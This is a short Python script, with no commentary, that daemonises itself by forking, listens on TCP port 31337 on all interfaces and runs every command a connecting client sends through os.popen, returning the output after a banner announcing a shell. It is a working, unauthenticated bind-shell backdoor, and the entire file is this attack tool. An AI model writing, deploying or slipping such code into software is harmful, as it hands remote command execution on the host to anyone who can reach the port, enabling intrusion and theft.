import sys
import os
import socket

pid = os.fork()

if pid > 0:
  sys.exit(0)
try:
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.bind(("0.0.0.0",31337))
  s.listen(1)
except socket.error as e:
  print(e)
  sys.exit(0)
while 1:
  (cli,add) = s.accept()
  info = {"platform":sys.platform, "version":sys.version}
  welcome = "You are connected to shell on {0[platform]}, Python Version: {0[version]}\r\n".format(info)
  cli.send(welcome.encode('utf-8'))
  while 1:
    data = cli.recv(1024).rstrip()
    resp = os.popen(data.decode('utf-8')).read()
    cli.send(resp.encode('utf-8'))